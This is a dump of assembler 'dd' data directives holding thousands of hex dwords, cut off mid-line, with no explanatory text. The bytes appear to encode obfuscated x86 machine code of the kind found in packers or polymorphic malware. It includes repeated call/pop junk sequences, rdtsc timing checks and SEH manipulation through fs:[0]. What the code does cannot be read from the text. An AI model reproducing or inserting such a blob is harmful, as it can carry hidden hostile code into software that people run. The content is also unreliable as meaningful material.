41000000h dd 0DA4BC351h, 0EDF517h, 89FCACE9h, 71C958Dh, 8DB58B06h dd 89060AA2h, 7184185h, 7D858B06h, 8906071Ch, 72CB985h dd 8B068906h, 705C99Dh, 0F1858B06h, 6A06070Eh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 8E3BC357h, 0E9044689h, 0Ch, 9E1995FEh, 0EC472DECh, 0BF49A384h dd 0DB816652h, 965B1204h, 9650D88Bh, 6860Fh, 9D030000h dd 6072885h, 0A289B5FFh, 9D68060Ah, 6656342Fh, 816072BFh dd 2C622434h, 6A562Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 0B16FB8C3h, 858D726Bh, 60AA291h dd 11EF781h, 50504244h, 0F0BB6652h, 60310FC2h, 0D3DBFDBBh dd 585A615Ch, 6A240489h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 16042444h, 46000000h, 0A774C356h, 8589F9E6h dd 60709F1h, 56195FFh, 0B5890607h, 6070D05h, 158D8961h dd 0C706070Eh, 72FD585h, 306h, 0DE800h, 0C8F50000h, 695EE56Ch dd 5B2EC5D0h, 0E8C1647Fh, 0Bh, 8DC10376h, 0C20AFC6Fh, 0F2129C9h dd 84h, 835F5F00h, 0AA291BDh, 840F0006h, 4Ch, 32D19D8Bh dd 5CE90607h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 0B790C350h, 604A4A6Ch dd 0FE9h, 20324300h, 61E8F430h, 0D7CF0B2Fh, 0BE92AC46h dd 6E9h, 0F2F7B700h, 613A0662h, 110C3050h, 1114400h, 3010E8C1h dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh dd 642810E8h, 44300311h, 28580211h, 30011164h dd 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 19042444h, 40000000h, 0FD0FC350h dd 0E07DEEA9h, 1845BD33h, 95890607h, 6071C65h, 2FD5BD83h dd 0F030607h, 49385h, 0F5952900h, 8306071Ch, 0AA291BDh dd 840F0006h, 480h, 0B5FFCEB3h, 60AA291h, 0F518D31h, 95FF0607h dd 6071641h, 4830Fh, 8B530000h, 0B58B5BD8h, 60AA285h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0BFC35747h, 0BB66620Eh dd 6C72A34h, 10001h, 159D0B57h, 5F060706h, 50E8B796h, 0ADBF6652h dd 0B7965FFDh, 91B5FF3Fh, 6A060AA2h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 2056C351h dd 0A0C361B4h, 1DE195FFh, 6A0607h, 3E850h, 58200000h, 448958C3h dd 44810424h, 160424h, 50400000h, 0C6C02AC3h, 0CB9BD8Bh dd 8B560607h, 71BE99Dh, 0B58B5B06h, 60AA285h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 85C35646h, 8166B1E3h dd 6022C2C3h, 0E35E79BEh, 8B61FC09h, 720A585h, 2D9D8B06h dd 0F060726h, 686h, 67EB8100h, 893B60FCh, 0C486h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 0A94955C6h, 0C11374F2h, 800FC2BDh, 6, 3245BD33h, 9D230607h dd 6073029h, 0A01958Bh, 6A0607h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1B0424h, 56460000h, 5B04AEC3h, 0E2A9D94Dh dd 0BF66539Ah, 8B5F88E0h, 4C283DFh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Bh, 0ADC35747h, 0AEB4A762h, 0E8BC2D8Bh dd 13h, 0CF97A26h, 0A315FA9h, 69E82CE5h, 5E36F3CAh, 2916E434h dd 7190D8Dh, 0BD8B5B06h, 6070375h, 6A205089h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 0E86DC351h, 0AAE95620h, 13E980h, 8B180000h, 30907F67h dd 0D66B7504h, 5F011FE1h, 80C8B959h, 0F88B664Dh, 0B5BC858Dh dd 8689060Ah, 0B8h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 1FC35343h, 33158D89h, 6A0607h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 32C35242h, 6F070595h dd 8D31F236h, 60720A1h, 1A15B589h, 0B5FF0607h, 60AA291h dd 2D07E381h, 95FF2F09h, 6070285h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 14h, 99C35242h, 20B1BD23h, 57960607h dd 0F98B6660h, 5F61DF8Bh, 0DE1ABF50h, 6A9648F3h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 0BC06C357h, 93ED9E8h, 91B589EBh, 0FF060715h, 0AA291B5h dd 0C810F06h, 0F000000h, 685h, 2DBD8B00h, 89060716h, 72F4D9Dh dd 5595FF06h, 6A060711h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 746DC355h, 31546464h dd 730A185h, 5870F06h, 66000000h, 0AD2AD781h, 1889BD89h dd 0BD830607h, 60706DDh, 60840F00h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h dd 9E4AC355h, 5250509Fh, 0FF98B66h, 0A3BB6631h, 89585AAFh dd 6A2434h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 3BE387C3h, 0F744846h, 8E9FBBFh, 0D5000000h dd 0C54D275h, 0FF66DEBAh, 0AA291B5h, 419D8B06h, 89060729h dd 715A99Dh, 0F195FF06h, 0E806071Bh, 13h, 0D0A2F472h, 99679504h dd 0A149DD0Ah, 789ECDA7h, 66C9902Eh, 5FB70BBFh, 0B5FFEFB7h dd 60AA291h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 0EBC35141h, 16154457h, 95FF8BADh, 6071AF5h, 6E8h dd 1D2F6300h, 5B634CD2h, 19F5BD83h, 0F020607h, 4084h, 71BD8B00h dd 8B060706h, 71A2985h, 5810F06h, 0BF000000h, 33F7C90Dh dd 6A0000C6h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 5520C356h, 8277EE03h, 0D2D38166h dd 985C741h, 6070Dh, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 6060C356h, 98CA8166h dd 0F8E9811Bh, 61099087h, 0FFF374E9h, 66C18BFFh, 5CA6D381h dd 26BDBD8Bh, 858D0607h, 6072C61h, 5C1A06BBh, 8B60500Ch dd 48961CAh, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1D04h, 0C3534300h, 7EE82B4Eh, 0FFAC69E2h, 8D89EC1Ch dd 6070B05h, 1FFD9D8Bh, 68BB0607h, 6A44AF0Ah, 8E900h, 0DDDE0000h dd 8D726135h, 6A6FA2h, 8DFA8B66h, 0BA9E685h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 6C107479h, 0DB0F05CDh, 6605C083h, 5041B9BFh, 0AAB86660h dd 0CF8B6643h, 24048961h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ch, 14C35343h, 0D0D3A757h, 5AAFC0Fh, 2899D29h dd 6A0607h, 6E9h, 0EA429300h, 6AC83402h, 0DE800h, 97370000h dd 1D2CE819h, 0E3CAD01h, 894A5561h, 700519Dh, 95FF5F06h dd 6071335h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Dh, 0A2C35040h, 3AD26B51h, 6E6FF76h, 48BF66E6h, 13E916h dd 53800000h, 6A8FF74Ah, 0BA4F56DEh, 7D5B543Fh, 0ED3A33CBh dd 9D8D8DBFh, 6A060A93h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 18042444h, 43000000h, 0AD7FC353h, 8BD5D31Ah dd 70CF5BDh, 8BD1FF06h, 730959Dh, 0E9575206h, 0Ah, 0AFA4E4D2h dd 9661B145h, 5B5B4067h, 32B1BD83h, 0F010607h, 7E85h, 0C1B58900h dd 6A06072Eh, 21958902h, 90060710h, 8B665250h, 66310FFEh dd 5A3913BFh, 52505058h, 0AE8h, 0C77FF400h, 700F141Ch dd 509DCD94h, 5A310F52h, 310F5B58h, 585ADA8Bh, 53006A90h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 9663C294h, 8E795FE1h, 8B66F02Ah, 0D19D8BDFh, 0FF060713h dd 7028595h, 8D896006h, 6071B19h, 11D59D89h, 0E9610607h dd 0F16h, 0E8h, 0ED815D00h, 60BA9F0h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 4EC35242h, 0F6D50A81h, 0FC4BF756h dd 3CCF8166h, 0FA8B6662h, 8603858Dh, 8960060Ah, 71BF585h dd 61D48A06h, 69BD2Bh, 0BF900607h, 40872E42h, 50525050h dd 890F52h, 0F000000h, 0F585A31h, 11E931h, 0B610000h, 4EA8C329h dd 0D1B63F4Ch, 0C9B553C1h, 5A0E771Ah, 6A9058h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 600347C3h, 8C0F0202h, 6, 1D9D8589h, 0FF640607h, 35h dd 0A9B58900h, 0E9060706h, 5, 7A39BAF9h, 258964E2h, 0 dd 559D8953h, 5B06070Ch, 2C8985FFh, 0FF6A0607h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 12C35040h, 41A6F984h dd 0D2DB6409h, 12E94Ah, 0B4D0000h, 12BD91B5h, 66674C16h dd 0FE3CFD08h, 5EDA20BCh, 4219D8Bh, 0B5FF0607h, 607128Dh dd 0D323BB66h, 213D95FFh, 54E90607h, 0E8000001h, 0Bh, 0FAD371CEh dd 0DF0735D3h, 291D021Dh, 72FCDB5h, 0B05F06h, 0E6DE8B66h dd 0C19D8B70h, 0E4060726h, 0FA8B6671h, 830F613Ch, 123h dd 0EBEEB81h, 0B60F7EB2h, 8D0F60C8h, 5, 0C8EA8166h, 6BA619Fh dd 60000000h, 10E8h, 6650DD00h, 2D8FD053h, 8E07AEB8h, 0D52F4BE8h dd 0FC5AF539h, 0FC18B61h, 0A8Eh, 0F08A6000h, 1955958Bh dd 0C1610607h, 0B50904E8h, 6071825h, 89E2F766h, 726A58Dh dd 89C82B06h, 7194585h, 80D18B06h, 9D8BCEDBh, 6072879h dd 0B2E9h, 0C3806000h, 0BE9A5h, 21170000h, 2882C85Bh, 0D8C67AA5h dd 858B616Dh, 8, 0C1BD8Bh, 0C0830607h, 12E807h, 23DF0000h dd 0B30E3E04h, 929EE75Dh, 0C6521528h, 66EF60h, 3331B589h dd 8B5F0607h, 0C083D9h, 61B50360h, 5106070Dh, 615A6160h dd 830FD03Bh, 11h, 52E9h, 0F9858900h, 89060705h, 71DC595h dd 0FF8D8B06h, 0BFFFFFFFh, 7A4961BDh, 0F01E183h, 3284h dd 0A5BD8B00h, 66060700h, 382CF81h, 0FFFFA583h, 0E8FEFFFFh dd 6, 0A1FAA901h, 8B52FCF2h, 895B5BF8h, 895h, 0DB816600h dd 0E9405Ah, 8D000000h, 0B2AFEB5h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 89906E50h dd 2ECDB777h, 12E9h, 4A283100h, 2E3F743Eh, 52FE7A6Dh, 59F343E1h dd 6ABAAE75h, 2810F00h, 8B000000h, 6995FFFEh, 6A06071Bh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 0DE50C350h, 6810Fh, 95890000h, 607272Dh dd 32919589h, 11B90607h, 8900000Fh, 72CB58Dh, 0FCE18306h dd 1A918509h, 6AFC0607h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1B042444h, 42000000h, 0DE3BC352h, 319EA435h dd 0E9602C3Bh, 10h, 0E9FA21D4h, 81E5F1A6h, 256F0CF7h, 7111E325h dd 0D1B36061h, 0B861h, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1C0424h, 52420000h, 6440BAC3h, 63065D60h dd 0BF66EBBAh, 0BACEFCh, 0BB000000h, 2B3B164Ah, 0D1C233ADh dd 83D003E8h, 0F47504E9h, 6A91B7h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 880D37C3h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 3F27C357h, 2AD753BBh, 153219Fh, 7189195h dd 1958B06h, 6A06070Ah, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 8BF5C352h, 7307DBDh dd 0A58D8B06h, 53060714h, 5FF8B70Fh, 8BC28B50h, 8BC10318h dd 0D1C18B18h, 8BC203E8h, 6A5818h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 0F78145C3h, 0BD36B40h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0C2C35747h dd 0EE920h, 815F0000h, 27F27AA9h, 0D494C997h, 516B8E68h dd 3971B1BBh, 0F9BD8314h, 6072Fh, 99840Fh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 89906FC3h, 70299B5h, 0B806h, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 94B863C3h dd 428D9235h, 8E98514h, 0BE000000h, 8F0B6FD2h, 8D38673Eh dd 74B4A8Dh, 0C8F0F06h, 0F000000h, 689h, 0B1B50900h, 0FF06072Eh dd 56006AE1h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h dd 0C3564600h, 4BA89688h, 0B98D896Fh, 8306070Bh, 72FD5BDh dd 840F0006h, 519h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 0E1C35545h, 0BD2B3EB3h, 6071099h, 2FD5BD83h dd 0F010607h, 50384h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1704h, 0C3524200h, 97DC9EC9h, 0C99B589h dd 0BD830607h, 6072FD5h, 9B860F03h, 6A000004h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 0F9EC357h, 28Eh, 60FA8A00h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 16h, 4EC35141h, 9D2930F8h, 6072121h dd 6AD98C66h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 768C352h, 215A2A18h, 0D15E9D00h dd 6A04E180h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 9032C357h, 436E55ADh, 0CB81B316h dd 52998AE1h, 6F60C781h, 0C90A1B03h, 14F840Fh, 0BD8B0000h dd 6072059h, 0B7D8D89h, 858B0607h, 6070EF1h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0F9C35343h, 0D61715A7h dd 0B3BF66F5h, 6FBF661Fh, 6985330Fh, 3060715h, 72CF59Dh dd 0BB665006h, 489D589h, 52006A24h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1804h, 0C3524200h, 8D448FF1h, 0D8C0FB4h dd 0E9000000h, 8, 0FD3F598Dh, 2B3BB619h, 19F1BD8Bh, 6A0607h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0BC35646h dd 0F8D4A4FBh, 0F8B70F46h, 4E8h, 1F03FF00h, 0DA8B6600h dd 38E0F50h, 66000000h, 448BF88Bh, 8B0424h, 52506050h dd 585A310Fh, 5F616160h, 4244489h, 61605057h, 6A585B5Bh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 0B9F5C357h, 0C7801A3Ch, 98BF664Ah, 0A4F780B0h dd 56195FFh, 89F80607h, 0AA29185h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 11682DBFh dd 36EC5948h, 63E916A1h, 0E9000002h, 9, 72635F0h, 6C7DC276h dd 89858B48h, 6A060AA2h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 16042444h, 45000000h, 0EE4FC355h, 0BD8B52CBh dd 607184Dh, 1800C75Fh, 0F000000h, 68Ah, 7D9D2300h, 8B06070Ah dd 0AA28DB5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1D04h, 0C3534300h, 0E0AF595Dh, 0B7B84CC1h, 0D88BD204h dd 1C7D858Bh, 0F8F90607h, 6A0689h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 2D65ECC3h, 8BDE8B66h dd 70EF185h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1C04h, 0C3534300h, 0FBEEFFAEh, 6DA4F279h, 95315788h dd 607187Dh, 446895Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 16h, 0D0C35747h, 14E9B5F2h, 7A000000h, 0A17A3E58h dd 0C9BBCD72h, 0B57F3250h, 669A895Dh, 89A52A05h, 7148D85h dd 12E99606h, 2C000000h, 0DE782ED0h, 4C1E854h, 8AF41A34h dd 0DD3D7CF9h, 0BE85052h, 39000000h, 32CB76AEh, 920A198h dd 6060B915h, 61D8B261h dd 0B5FF965Bh, 60AA289h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Dh, 67C35242h, 0A797D5B5h, 0BE723893h, 8E823h dd 0AF0A0000h, 0F0194F0Bh, 13E96960h, 19000000h, 73667051h dd 0DC81A85Ch, 32901180h, 0B9372ABFh, 685F340Eh, 6D1187E1h dd 5CEB960h, 0CE87A14h, 7F000000h, 5074B00h, 6A2D21B1h dd 66FADAF4h, 615EF38Bh, 1E243481h, 6A6D0E84h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h dd 8DA6C351h, 0AA29185h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1604h, 0C3574700h, 0F020CBCh, 8166DEBFh dd 897853EBh, 70DDD9Dh, 50509006h, 18850F52h, 0E9000000h dd 13h, 170830E4h, 65A23353h, 0E49AD743h, 7C1913ECh, 0F3F1BDDh dd 5B11BF31h, 585A7934h, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1504h, 0C3534300h, 95FF2E09h, 6070561h, 515BD8Bh dd 8B610607h, 0D585C7DAh, 306072Fh, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h dd 3B7FC355h, 0FD858962h, 0FC06072Ch, 0A291BD83h, 0F00060Ah dd 0D84h, 0C753BF00h, 0DB804BADh, 1BE990h, 30500000h, 4400110Ch dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h dd 4305036h, 11640011h, 10E8C101h, 2114430h, 3116400h dd 4E98358h, 1BEBE775h, 10E8C150h, 3116428h, 2114430h dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 56006AC0h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 494FBBDBh, 0E80F7CA3h, 9D8B95B2h, 60712E5h, 2FD5BD83h dd 0F030607h, 42285h, 0DE8B6600h, 0A291BD83h, 0F00060Ah dd 41284h, 0E59D8B00h, 0FF06072Eh, 0AA291B5h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 0F9AE72C8h, 9D895C18h, 6071DD9h, 164195FFh, 0BF0F0607h dd 458D89F9h, 8B060716h, 0AA285B5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 41A37C97h dd 0C7778E1Ch, 1000106h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1404h, 0C3504000h, 50509636h, 11E9h, 1A3EF800h dd 3244946h, 0A3CDEAAFh, 358B5E0h, 965B8AC3h, 9CE8BF66h dd 0A291B5FFh, 6A060Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 185A6C3h, 70045BDh, 0E195FF06h dd 8B06071Dh, 717E9BDh, 2EEB8106h, 8B0DA814h, 0AA285B5h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h dd 0C3514100h, 0D5EFE5DFh, 0BB664479h, 858B0ABEh, 60720A5h dd 0B8C38166h, 998529A3h, 89060707h, 0C486h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 93D83C17h, 0F7816CFBh, 5DE26C16h, 1ED9D89h, 958B0607h dd 6070A01h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 16h, 0FEC35545h, 8C0F455Ch, 5, 652995BFh, 4C28344h dd 89DA8B66h, 14E92050h, 0D9000000h, 0CAC265BBh, 9241F9Eh dd 85A48A41h, 87CC6CE1h, 0FE8207Ah, 685h, 59950100h, 8D060731h dd 0AB5BC85h, 219D8B06h, 8906072Fh, 0B886h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 1035627Bh, 678F2A67h, 840F006Ah, 2, 0B5FFF98Bh, 60AA291h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 7AC35747h dd 9A741B74h, 0FFE16E63h, 7028595h, 2DB58906h, 0F06071Bh dd 0B750D8BFh, 2434895Fh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 94C35141h, 9FCC4FEh, 359D8BE9h, 0FF060720h dd 0AA291B5h, 55BD8B06h, 0FF060717h, 7115595h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 7D67E99Dh, 57CDD67Fh, 0BD9BD8Bh, 0B5890607h, 6071C95h dd 6DDBD83h, 0F000607h, 3984h, 0D9BD8B00h, 8B06070Bh, 70F3D9Dh dd 52509606h, 8FC5BF66h, 0E0BF310Fh, 5A3BF6DAh, 0E8965058h dd 0Dh, 803F0621h, 50178F5Ah, 221291F0h, 0AD9D31FFh, 5B060703h dd 0B5FF1CB7h, 60AA291h, 2F499D31h, 66600607h, 7DE6E281h dd 2FDBD8Bh, 0FF610607h, 71BF195h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 0A5BD8B63h dd 0FF060709h, 0AA291B5h, 0E98AB306h, 0Ch, 30095506h, 0A6F66527h dd 75608CB0h, 1AF595FFh, 6A0607h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 0BF0F5AC3h, 0F5BD83DFh dd 2060719h, 6B840Fh, 8E0F0000h, 3, 8BF98B66h, 71A2985h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h dd 0C3534300h, 4020E2BFh, 80A8C64Ah, 0DB80CCC7h, 0C690h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 8C35141h dd 7CFB0390h, 6553B127h, 0A19D8B2Ah, 8B06071Bh, 70DDD9Dh dd 985C706h, 6070Dh, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 5D1BC355h, 5592ED1Fh dd 0EE9h, 0C496EC00h, 0E53BD8D4h, 96550573h, 0E9D41733h dd 0FFFFF1F2h, 5404BF66h, 21AD9D8Bh, 0C18B0607h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 18h, 13C35040h, 0D520BDFFh dd 0FBF6652h, 858D5F11h, 6072C61h, 900DF780h, 0BB50FD8Ah dd 7EA7121Eh, 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1804h, 0C3554500h, 9400E2DFh, 29006A1Dh, 7288D9Dh, 29006A06h dd 72C3D95h, 3D858D06h, 6A060BBBh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0B048C356h dd 0E3CFD71Eh, 0B99D8B83h, 0B3060718h, 5C08371h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 28C35040h, 101CA3A9h dd 79EBD824h, 30418D89h, 50900607h, 657DBB52h, 310F104Dh dd 907CBB66h, 8B50585Ah, 8C0F90DFh, 3, 2968CF80h, 7317D8Dh dd 8B006A06h, 702B99Dh, 6A006A06h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 3845C351h dd 682E4024h, 0E9AAA518h, 0Eh, 0B3858E5Ah, 2884E302h, 0EC796D27h dd 95FF5D56h, 6071335h, 6840Fh, 0B5890000h, 6070365h, 939D8D8Dh dd 6A060Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h dd 50400000h, 13EADDC3h, 0D520BDFFh, 6AD1FF54h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 299C353h, 62449EC1h, 0C781F198h, 67E3E782h, 32B1BD83h dd 0F010607h, 0C585h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1704h, 0C3514100h, 4016FE56h, 26A6FB3h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh dd 8C35343h, 35BA4D22h, 4A25B2D8h, 52505009h, 310F5250h dd 585AD88Bh, 0BB66310Fh, 585A7880h, 6A240489h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 0E6B9C356h, 5C1253E8h, 19DE3719h, 0CB816650h, 0E95F55C9h dd 5, 6A907979h, 8595FF79h, 6A060702h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0D41EC351h dd 0D0022EFAh, 8960CBA4h, 71659B5h, 97E96106h, 0E800000Ch dd 0 dd 47ED815Dh, 0B3060BBBh, 57006A58h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 0D9059FAEh dd 0A49C36F1h, 3858DE7h, 0BF060A86h, 10984A7Ch, 5ABB6690h dd 9E95000h, 7D000000h, 0EE6CDB6Eh, 81DCD02Ah, 0E99D8B90h dd 64060714h, 35FFh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 170424h, 56460000h, 520CECC3h, 25896477h dd 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0ACC35343h dd 3A1FF4F5h, 5E511F31h, 0A9B589BDh, 6606070Ah, 85FFDA8Bh dd 6072C89h, 1BA18589h, 0FF6A0607h, 2171B589h, 0B5FF0607h dd 607214Dh, 31F59D8Bh, 95FF0607h, 607213Dh, 0EFE9h, 0B0FC00h dd 6870Fh, 9D8B0000h, 6070F91h, 71E470E6h, 8610D781h, 613C3142h dd 0CE830Fh, 0E3800000h, 0C8B60FB5h, 2EF3D781h, 6BA733Eh dd 66000000h, 64F8CB81h, 0B501C18Bh, 6070DF5h, 0E904E8C1h dd 6, 1353F76Eh, 0F7664DB6h, 0DABF0FE2h, 0D7EFC381h, 0C82B16B3h dd 4B5BD89h, 0D18B0607h, 0F493CF81h, 81E971B5h, 8B000000h dd 719359Dh, 1858B06h, 0F000000h, 0C083FEBFh, 99BD2907h dd 83060707h, 60B700C0h, 830FD03Bh, 1Ch, 0DE9h, 0DA557100h dd 57DB0771h, 6066CF34h, 45E9244Fh, 66000000h, 5245D381h dd 0FFFF8D8Bh, 0E183FFFFh, 31840F01h, 0B000000h, 71D899Dh dd 0FFA58306h, 0FEFFFFFFh, 15B58589h, 95890607h, 1, 5775BF66h dd 5E8h, 2E96C600h, 0BF66D166h, 0E95B2565h, 0 dd 3A0FB58Dh, 0BF66060Bh, 6A4F95h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 5C35545h, 6995FF53h, 8B06071Bh dd 10F8B9DFh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 0D44EA0C3h, 1565A4EAh, 0FCE183F5h dd 7E957h, 0A00B0000h, 0B5A75965h, 89FC5B15h, 71C4D9Dh dd 0B806h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 5BD465C3h, 0F5681DFDh, 0BD8BD22Bh dd 6072F35h, 68C0Fh, 95090000h, 6070A4Dh, 0D1C233ADh, 83D003E8h dd 0F47504E9h, 57006AF9h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1804h, 0C3574700h, 7344B574h, 880D3Ah, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 5D8705C3h, 4987B153h, 8B4CB8EBh, 70A0195h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 0EAF33E03h, 8D8B30B3h, 60714A5h, 7E960h, 6770000h, 0F8024625h dd 0AEE5BEF4h, 5061007Fh, 188BC28Bh, 188BC103h, 0E8D1C18Bh dd 188BC203h, 0FA8B6658h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 73C35141h, 0BD331BBAh, 607099Dh, 2FF9BD83h dd 0F000607h, 8984h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1704h, 0C3574700h, 821C9553h, 2850Fh, 20B30000h dd 12299D8Bh, 81660607h, 0B84BCAEBh, 0 dd 0E852006Ah, 3, 